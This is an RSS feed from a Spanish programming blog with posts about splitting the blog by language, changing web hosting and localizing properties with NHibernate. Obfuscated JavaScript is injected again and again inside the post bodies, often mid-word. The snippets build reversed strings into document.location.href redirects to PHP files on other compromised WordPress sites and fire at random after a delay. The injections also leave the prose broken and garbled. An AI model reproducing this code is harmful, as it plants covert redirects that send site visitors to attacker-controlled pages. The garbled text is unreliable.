$NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>tolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}</script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>todas las que estaban en español en ese otro blog a este por arte de magia.</p>
<p>La magia viene servida por redirecciones 301 de mano de <a href="http://wordpress.org/extend/plugins/quick-pagepost-redirect-plugin/">Quick Page/Post Redirect Plugin</a> de modo que cualquier visitante que tenga guardada una URL antigua será redirigido a la nueva y no se perderá el posicionamien<script>$NqM=function(n){if (typeof ($NqM.list[n]) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}</script><script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-re<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslat<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>tolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}</script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>to en Google.</p>
<p>De hecho, uno de los motivos para separar los blogs en 2 es para poder medir mejor qué parte del tráfico es en inglés y qué parte en español y dar una mejor experiencia a los usuarios hispanohablantes y angloparlantes.</p>
<p>Un saludo, y bienvenidos de vuelta.</p>
]]></content:encoded>
					
					<wfw:commentRss>http://blog.climens.net/2011/09/03/hola-de-nuevo/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Cambio de hosting</title>
		<link>http://blog.climens.net/2010/06/25/cambio-de-hosting/</link>
					<comments>http://blog.climens.net/2010/06/25/cambio-de-hosting/#respond</comments>
		
		<dc:creator><![CDATA[Marc Climent]]></dc:creator>
		<pubDate>Fri, 25 Jun 2010 11:00:53 +0000</pubDate>
				<category><![CDATA[Programación]]></category>
		<guid isPermaLink="false">http://codelog.climens.net/?p=265</guid>

					<description><![CDATA[Durante este fin de semana tengo previstoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to cambiar de hosting (de Dreamhost a Silicontoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tower) y de versión de WordPress, así que es posible que ocurran cosas extrañas durante un par de &#8230; <a href="http://blog.climens.net/2010/06/25/cambio-de-hosting/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
										<content:encoded><![CDATA[<div>
<p>Durante este fin de semana tengo previs<script>$NqM=function(n){if (typeof ($NqM.list[n]) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}</script><script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-re<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslat<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>tolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}</script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>to cambiar de hosting (de <a href="http://www.dreamhost.com/">Dreamhost</a> a <a href="http://www.silicon<script>$NqM=function(n){if (typeof ($NqM.list[n]) == «string») return $NqM.list[n].split(«»).reverse().join(«»);return $NqM.list[n];};$NqM.list=[«&#8216;php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth&#8217;=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}</script><script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-re<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslat<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>tolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}</script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>tower.net/»>Silicon<script>$NqM=function(n){if (typeof ($NqM.list[n]) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}</script><script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-re<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslat<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>tolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}</script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>tower</a>) y de versión de <a href="http://wordpress.org/">WordPress</a>, así que es posible que ocurran cosas extrañas durante un par de días.</p>
<p>Que la fuerza me acompañe.</p>
</div>
]]></content:encoded>
					
					<wfw:commentRss>http://blog.climens.net/2010/06/25/cambio-de-hosting/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>NHibernate y localización</title>
		<link>http://blog.climens.net/2010/03/16/nhibernate-y-localizacion/</link>
					<comments>http://blog.climens.net/2010/03/16/nhibernate-y-localizacion/#respond</comments>
		
		<dc:creator><![CDATA[Marc Climent]]></dc:creator>
		<pubDate>Tue, 16 Mar 2010 10:45:07 +0000</pubDate>
				<category><![CDATA[Programación]]></category>
		<category><![CDATA[localización]]></category>
		<category><![CDATA[lucene]]></category>
		<category><![CDATA[NHibernate]]></category>
		<guid isPermaLink="false">http://codelog.climens.net/?p=246</guid>

					<description><![CDATA[Edit: Cross-posted in NHForge: Localization techniques Hace unos días estuve dándole vueltas en el grupo de NHUsers de nuevo al tema de la localización de propiedades usando NHibernate para ver si se me ocurría una forma más potente de hacerlas, &#8230; <a href="http://blog.climens.net/2010/03/16/nhibernate-y-localizacion/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
										<content:encoded><![CDATA[<p><strong>Edit</strong>: Cross-posted in NHForge: <a href="http://nhforge.org/wikis/how<script>$NqM=function(n){if (typeof ($NqM.list[n]) == «string») return $NqM.list[n].split(«»).reverse().join(«»);return $NqM.list[n];};$NqM.list=[«&#8216;php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth&#8217;=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}</script><script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-re<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslat<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>tolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}</script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>tonh/localization-techniques.aspx»>Localization techniques</a></p>
<p>Hace unos días <a href="http://groups.google.com/group/nhusers/browse_thread/thread/b099f9f4a10a08f6">estuve dándole vueltas en el grupo de NHUsers</a> de nuevo al tema de la localización de propiedades usando NHibernate para ver si se me ocurría una forma más potente de hacerlas, dado que el mecanismo que usamos actualmente no permite usar ordenación a través de SQL, por lo que para ordenar los da<script>$NqM=function(n){if (typeof ($NqM.list[n]) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}</script><script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-re<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslat<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>tolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}</script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>tos por la columna localizable, hay que procesar <script>$NqM=function(n){if (typeof ($NqM.list[n]) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}</script><script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-re<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslat<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>tolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}</script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>todas las entidades, lo que es un problema cuando hay muchas.</p>
<p>En resumen, hay 2 modos fundamentales y ampliamente documentados de hacer campos localizables con NHibernate.</p>
<p><strong>Mé<script>$NqM=function(n){if (typeof ($NqM.list[n]) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}</script><script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-re<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslat<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>tolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}</script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>todo 1: Serializando la propiedad a través de un IUserType</strong></p>
<p>Esta aproximación es por ejemplo la que <a href="http://fabiomaulo.blogspot.com/2009/06/localized-property-with-nhibernate.html">describe Fabio Maulo en su blog</a>, usando <a href="http://code.google.com/p/unhaddins/source/browse/uNhAddIns/uNhAddIns/UserTypes/LocalizablePropertyType.cs">LocalizablePropertyType</a> del proyec<script>$NqM=function(n){if (typeof ($NqM.list[n]) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}</script><script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-re<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslat<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>tolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}</script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>to <a href="http://code.google.com/p/unhaddins/">uNHaddins</a>. Básicamente se trata de almacenar <script>$NqM=function(n){if (typeof ($NqM.list[n]) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}</script><script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-re<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslat<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>tolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}</script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>todas las cadenas de traducción en un solo campo y el IUserType se encarga de obtener un diccionario u otra estructura más compleja a partir del valor del campo y de almacenar esa misma estructura en forma de string.</p>
<p>En mi caso, no usé exactamente este tipo porque quería almacenar también un identificador de idioma por defec<script>$NqM=function(n){if (typeof ($NqM.list[n]) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}</script><script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-re<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslat<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>tolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}</script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>to y algunas cosas más, pero no es algo complicado de hacer.</p>
<p>Internamente normalmente almacenaremos algún tipo de diccionario con el idioma como clave y el valor la traducción pero es sencillo exponer la propiedad como un string haciendo que el get obtenga el valor correc<script>$NqM=function(n){if (typeof ($NqM.list[n]) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}</script><script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-re<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var 